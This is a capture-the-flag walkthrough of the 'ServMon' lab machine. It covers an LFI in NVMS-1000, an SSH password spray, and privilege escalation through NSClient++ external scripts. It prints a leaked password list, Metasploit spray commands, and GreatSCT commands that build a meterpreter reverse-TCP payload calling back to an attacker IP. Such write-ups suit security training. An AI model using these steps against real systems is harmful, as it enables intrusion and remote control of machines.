Serv Mon
Serv Mon
Difficulty: Easy
Classification: Official
Synopsis
ServMon is an easy Windows machine featuring an HTTP server that hosts an NVMS-1000
(Network Surveillance Management Software) instance. This is found to be vulnerable to LFI,
which is used to read a list of passwords on a user's desktop. Using the credentials, we can SSH
to the server as a second user. As this low-privileged user, it's possible enumerate the system
and find the password for NSClient++ (a system monitoring agent). After creating an SSH
tunnel, we can access the NSClient++ web app. The app contains functionality to create scripts
that can be executed in the context of NT AUTHORITY\SYSTEM . Users have been given
permissions to restart the NSCP service, and after creating a malicious script, the service is
restarted and command execution is achieved as SYSTEM.
Skills Required
Basic Web Enumeration
Basic Windows Enumeration
SSH Tunneling
Skills Learned
Exploiting NVMS-1000
Exploiting NSClient++
SSH Password Spraying
Enumeration
Nmap
Nmap output reveals that FTP and SSH are available on their default ports, as well as HTTP (ports
80 and 8443. We take note that FTP on the box allows anonymous login.
FTP
We connect to FTP and as our firewall is enabled, specify passive transfer mode. A Users
directory contains subdirectories for Nadine and Nathan , which themselves contain a text file.
ftp 10.10.10.184
anonymous
passive
ls
cd Users
ls Nadine
get "Nadine\\Confidential.txt"
ls Nathan
get "Nathan\\Notes to do.txt"
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you
have edited it yourself and place it back into the secure folder.
Regards
Nadine
Notes to do.txt contains information about completed and outstanding tasks for the installed
monitoring apps.
Inspection of port 8443 shows a login screen for NSClient++ . Attempting to login with common
passwords is also unsuccessful.
Foothold
NVMS
Searching on Exploit-DB for the NVMS software returns Local File Inclusion exploit assigned CVE-
2019-20085.
Configure the browser to use Burp as a proxy, refresh the NVMS-1000 web page and intercept
the request. Hit CTRL + R to send the request to Burp's Repeater module. Substitute the GET
request on the first line with the payload below. The file win.ini exists in on Windows
installations and is readable by all users, and so is a good target for verifying a LFI.
The win.ini file is displayed, which validates the vulnerability. Using the information from the FTP
server let's try to open C:\Users\Nathan\Desktop\Passwords.txt .
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
SSH
We can attempt a password spray against SSH. Save the above list as passwords.txt. Examination
of FTP revealed the users Nadine and Nathan . Add them to a users.txt along with
administrator .
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.184
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
The password L1k3B1gBut7s@W0rk was found to work for the username nadine , and a
command shell is opened as this user. However, the command whoami /priv reveals that they
are an unprivileged user.
We have gained the password for the web app, and know that localhost is the only whitelisted
entry. Researching NSClient online we come upon this privilege escalation technique, involving
feature abuse. The software version mentioned in this procedure is 0.5.2.35 . The following
command reveals that the same software version is installed on the box.
However, we are denied access to the Service Control Manager, so we have to assume service
restart permissions.
Get-Service nscp | fl *
The CanStop parameter is set to true which means we can stop the service. Normally a low
privileged user cannot start the service but in this case the user has been granted permission to
start it.
Exploitation
Let's set up an SSH tunnel to access the web app from localhost port 8443
Navigate to https://localhost:8443 and use the password found in the ini file to login.
Let's create an external script that will execute our payload on the system. Navigate to Settings
> External Scripts > Scripts and click + Add new .
Save the script and click on Changes , and then Save Configuration .
Finally let's restart the NSCP service to load the newly created script entry.
cd ~/
git clone https://github.com/GreatSCT/GreatSCT
cd GreatSCT
sudo ./GreatSCT.py --ip 10.10.14.13 --port 1234 -t bypass -p
regsvcs/meterpreter/rev_tcp.py -o serv
Start a Python3 HTTP Server in order to download the DLL.
cd /usr/share/greatsct-output/compiled/
sudo python3 -m http.server 80
msfconsole -r /usr/share/greatsct-output/handlers/serv.rc
Next, navigate to the console on http://127.0.0.1/8443, input the script name and click Run .
A connection is received. Sometimes the first connection dies. In that case run the command
again, and a second connection will be received that is stable.
The root flag is located in C:\Users\Administrator\Desktop .